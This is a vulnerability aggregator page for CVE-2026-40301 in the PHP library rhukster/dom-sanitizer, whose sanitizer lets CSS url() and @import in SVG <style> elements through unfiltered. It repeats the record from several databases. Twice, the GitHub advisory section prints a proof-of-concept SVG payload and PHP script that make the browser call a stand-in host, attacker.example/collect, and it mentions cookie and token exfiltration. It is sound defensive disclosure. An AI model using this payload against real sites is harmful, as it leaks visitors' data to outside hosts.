CVE-2026-40301
rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.7
rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.
- Record
CVE-2026-40301- CVSS 3.1
- 4.7 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-23545
4.7
DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.
- Record
EUVD-2026-23545- CVSS 3.1
- 4.7 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-93vf-569f-22cq
4.7
rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
Summary
DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.
Details
In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.
Vulnerable code (src/DOMSanitizer.php, line 31):
'svg' => ['style', 'path', 'rect', 'circle', ...],
The following payload survives sanitize() intact:
<svg xmlns="http://www.w3.org/2000/svg">
<style>* { background: url(https://attacker.example/collect); }</style>
</svg>
PoC
<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;
$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)
Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.
Impact
Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.
- Record
GHSA-93vf-569f-22cq- CVSS 3.1
- 4.7 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
4.7
DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.
- Record
CVE-2026-40301- CVSS 3.1
- 4.7 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
4.7
rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.
- Record
CVE-2026-40301- CVSS 3.1
- 4.7 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-93vf-569f-22cq
4.7
rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
Summary
DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.
Details
In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.
Vulnerable code (src/DOMSanitizer.php, line 31):
'svg' => ['style', 'path', 'rect', 'circle', ...],
The following payload survives sanitize() intact:
<svg xmlns="http://www.w3.org/2000/svg">
<style>* { background: url(https://attacker.example/collect); }</style>
</svg>
PoC
<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;
$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)
Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.
Impact
Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.
- Record
GHSA-93vf-569f-22cq- CVSS 3.1
- 4.7 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
rhukster/dom-sanitizerPackagist |
before 1.0.10 | 1.0.10 |
rhukster/dom-sanitizerPackagist |
before 1.0.10, plus listed versions 1.0.01.0.11.0.21.0.31.0.4 Show 5 moreShow less1.0.51.0.61.0.71.0.81.0.9 |
1.0.10 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-40301 is a medium vulnerability (CVSS 4.7) in Rhukster Dom-sanitizer, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in rhukster/dom-sanitizer 1.0.10.
References
github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq
github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2
github.com/rhukster/dom-sanitizer/releases/tag/1.0.10
nvd.nist.gov/vuln/detail/CVE-2026-40301
github.com/advisories/GHSA-93vf-569f-22cq
github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40301.json
github.com/rhukster/dom-sanitizer